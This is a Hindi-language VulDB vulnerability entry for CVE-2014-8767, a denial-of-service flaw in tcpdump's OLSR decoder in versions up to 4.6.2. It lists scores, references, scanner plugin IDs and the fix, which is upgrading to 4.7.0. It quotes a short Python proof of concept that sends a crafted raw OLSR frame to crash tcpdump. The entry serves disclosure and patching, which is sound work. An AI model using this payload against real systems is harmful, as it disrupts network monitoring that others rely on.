tcpdump तक 4.6.2 OLSR Decoder olsr_print सेवा अस्वीकार

CVSS मेटा अस्थायी स्कोर	वर्तमान एक्सप्लॉइट मूल्य (≈)	CTI रुचि स्कोर
4.8	$0-$5k	0.00

सारांशजानकारी

एक कमजोरि जिसे समस्याग्रस्त के रूप में वर्गीकृत किया गया है, tcpdump में पाई गई है। प्रभावित है फ़ंक्शन olsr_print OLSR Decoder घटक का हिस्सा है। यह हेरफेर सेवा अस्वीकार उत्पन्न करता है। इस भेद्यता को CVE-2014-8767 के रूप में ट्रेड किया जाता है। इसके अलावा, एक एक्सप्लॉइट उपलब्ध है. इस समस्या को ठीक करने के लिए पैच लगाने की सिफारिश की जाती है।

विवरणजानकारी

एक कमजोरि जिसे समस्याग्रस्त के रूप में वर्गीकृत किया गया है, tcpdump में पाई गई है। प्रभावित है फ़ंक्शन olsr_print OLSR Decoder घटक का हिस्सा है। यह हेरफेर सेवा अस्वीकार उत्पन्न करता है। CWE का उपयोग करके समस्या को घोषित करने से CWE-189 प्राप्त होता है। कमजोरी प्रकाशित की गई थी 17/11/2014 द्वारा Steffen Bauch के रूप में Posting (Bugtraq). यह सलाह archives.neohapsis.com पर डाउनलोड के लिए साझा की गई है।

इस भेद्यता को CVE-2014-8767 के रूप में ट्रेड किया जाता है। CVE असाइनमेंट 13/11/2014 को हुआ। तकनीकी विवरण उपलब्ध हैं. इस भेद्यता की लोकप्रियता औसत से कम है। इसके अलावा, एक एक्सप्लॉइट उपलब्ध है. एक्सप्लॉइट को सार्वजनिक रूप से प्रकट किया गया है और इसका उपयोग किया जा सकता है। फिलहाल एक्सप्लॉइट की कीमत might be approx. USD $0-$5k है।

इसे अवधारणा प्रमाण के रूप में घोषित किया गया है। एक्सप्लॉइट डाउनलोड के लिए archives.neohapsis.com पर साझा किया गया है। 0-डे के रूप में इसका अनुमानित अंडरग्राउंड मूल्य लगभग $0-$5k था. एक्सप्लॉइट द्वारा उपयोग किया गया कोड है:

#!/usr/bin/env python 
from socket import socket, AF_PACKET, SOCK_RAW 
s = socket(AF_PACKET, SOCK_RAW) 
s.bind(("lo", 0)) 
olsr_frame = 
"\x00\x1b\xc6\x51\x35\x97\x00\x24\x8c\x7a\xff\x6f\x08\x00\x45\x15\x00\x3d\xf3\x7f\x40\x00\x4d\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\xba\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x01\x00\x00\x00"
s.send(olsr_frame)

वल्नरेबिलिटी स्कैनर Nessus ID 79697 वाला एक प्लगइन प्रदान करता है (Debian DSA-3086-1 : tcpdump - security update), जो लक्ष्य वातावरण में खामी की उपस्थिति का पता लगाने में मदद करता है। इसे Debian Local Security Checks परिवार में असाइन किया गया है। यह 0 पोर्ट का उपयोग कर रहा है. वाणिज्यिक वल्नरेबिलिटी स्कैनर Qualys इस समस्या का परीक्षण 170023 प्लगइन से कर सकता है (OpenSUSE Security Update for tcpdump, libpcap (openSUSE-SU-2017:1199-1)).

4.7.0 संस्करण में अपग्रेड करना इस समस्या को दूर कर सकता है। इस समस्या को ठीक करने के लिए पैच लगाने की सिफारिश की जाती है।

कमजोरी अन्य कमजोरी डेटाबेस में भी प्रलेखित है: SecurityFocus (BID 71150), X-Force (98765), SecurityTracker (ID 1031235), Vulnerability Center (SBV-52169) , Tenable (79697).

उत्पादजानकारी

प्रकार

• Packet Analyzer Software

नाम

• tcpdump

संस्करण

• 3.9.6
• 3.9.7
• 3.9.8
• 4.0.0
• 4.1.0
• 4.1.1
• 4.1.2
• 4.2.1
• 4.3.0
• 4.3.1
• 4.4.0
• 4.5.0
• 4.5.1
• 4.5.2
• 4.6.0
• 4.6.1
• 4.6.2

लाइसेंस

• खुला स्रोत

वेबसाइट

• उत्पाद: https://www.tcpdump.org/

CPE 2.3जानकारी

• 🔍
• 🔍
• 🔍

CPE 2.2जानकारी

• 🔍
• 🔍
• 🔍

CVSSv4जानकारी

VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

CVSSv3जानकारी

VulDB मेटा बेस स्कोर: 5.3
VulDB मेटा अस्थायी स्कोर: 4.8

VulDB मूल स्कोर: 5.3
VulDB अस्थायी स्कोर: 4.8
VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

CVSSv2जानकारी

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

सदिश	जटिलता	प्रमाणीकरण	गोपनीयता	अखंडता	उपलब्धता
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

VulDB मूल स्कोर: 🔍
VulDB अस्थायी स्कोर: 🔍
VulDB विश्वसनीयता: 🔍

NVD मूल स्कोर: 🔍

शोषणजानकारी

वर्ग: सेवा अस्वीकार
CWE: CWE-189
CAPEC: 🔍
ATT&CK: 🔍

भौतिक: नहीं
स्थानीय: नहीं
दूरस्थ: हाँ

उपलब्धता: 🔍
प्रवेश: सार्वजनिक
स्थिति: अवधारणा प्रमाण
लेखक: Steffen Bauch
प्रोग्रामिंग भाषा: 🔍
डाउनलोड: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

मूल्य पूर्वानुमान: 🔍
वर्तमान मूल्य अनुमान: 🔍

0-Day	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
आज	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

Nessus ID: 79697
Nessus नाम: Debian DSA-3086-1 : tcpdump - security update
Nessus Arquivo: 🔍
Nessus जोखिम: 🔍
Nessus परिवार: 🔍
Nessus Port: 🔍

OpenVAS ID: 703086
OpenVAS नाम: Debian Security Advisory DSA 3086-1 (tcpdump - security update)
OpenVAS Arquivo: 🔍
OpenVAS परिवार: 🔍

Qualys ID: 🔍
Qualys नाम: 🔍

खतरे की खुफियाजानकारी

रुचि: 🔍
सक्रिय अभिनेता: 🔍
सक्रिय APT समूह: 🔍

प्रतिव्यवस्थाजानकारी

सिफारिश: पैच
स्थिति: 🔍

0-दिवसीय समय: 🔍
शोषण विलंब समय: 🔍

अपग्रेड: tcpdump 4.7.0

समयरेखाजानकारी

12/11/2014 🔍
13/11/2014 +1 दिन 🔍
17/11/2014 +4 दिन 🔍
17/11/2014 +0 दिन 🔍
18/11/2014 +1 दिन 🔍
18/11/2014 +0 दिन 🔍
18/11/2014 +0 दिन 🔍
19/11/2014 +1 दिन 🔍
20/11/2014 +1 दिन 🔍
04/12/2014 +14 दिन 🔍
18/08/2015 +257 दिन 🔍
24/02/2022 +2382 दिन 🔍

स्रोतजानकारी

उत्पाद: tcpdump.org

सलाह: USN-2433-1
शोधकर्ता: Steffen Bauch
स्थिति: पुष्टि की गई
पुष्टि: 🔍

CVE: CVE-2014-8767 (🔍)
GCVE (CVE): GCVE-0-2014-8767
GCVE (VulDB): GCVE-100-68219

OVAL: 🔍

X-Force: 98765 - tcpdump olsr_print() denial of service, Medium Risk
SecurityFocus: 71150 - tcpdump 'olsr_print()' Function Denial of Service Vulnerability
SecurityTracker: 1031235 - Tcpdump Multiple Flaws Let Remote Users Deny Service
Vulnerability Center: 52169 - RedHat tcpdump 3.9.6 Through 4.6.2 Remote Denial-of Service via a Crafted Length in an OLSR Frame, Medium

scip Labs: https://www.scip.ch/en/?labs.20161013
यह भी देखें: 🔍

प्रविष्टिजानकारी

बनाया गया: 19/11/2014 10:35 AM
अद्यतनित: 24/02/2022 11:23 PM
परिवर्तन: 19/11/2014 10:35 AM (86), 24/10/2017 09:39 AM (7), 24/02/2022 11:08 PM (3), 24/02/2022 11:23 PM (1)
पूर्ण: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

चर्चा

Want to know what is going to be exploited?

We predict KEV entries!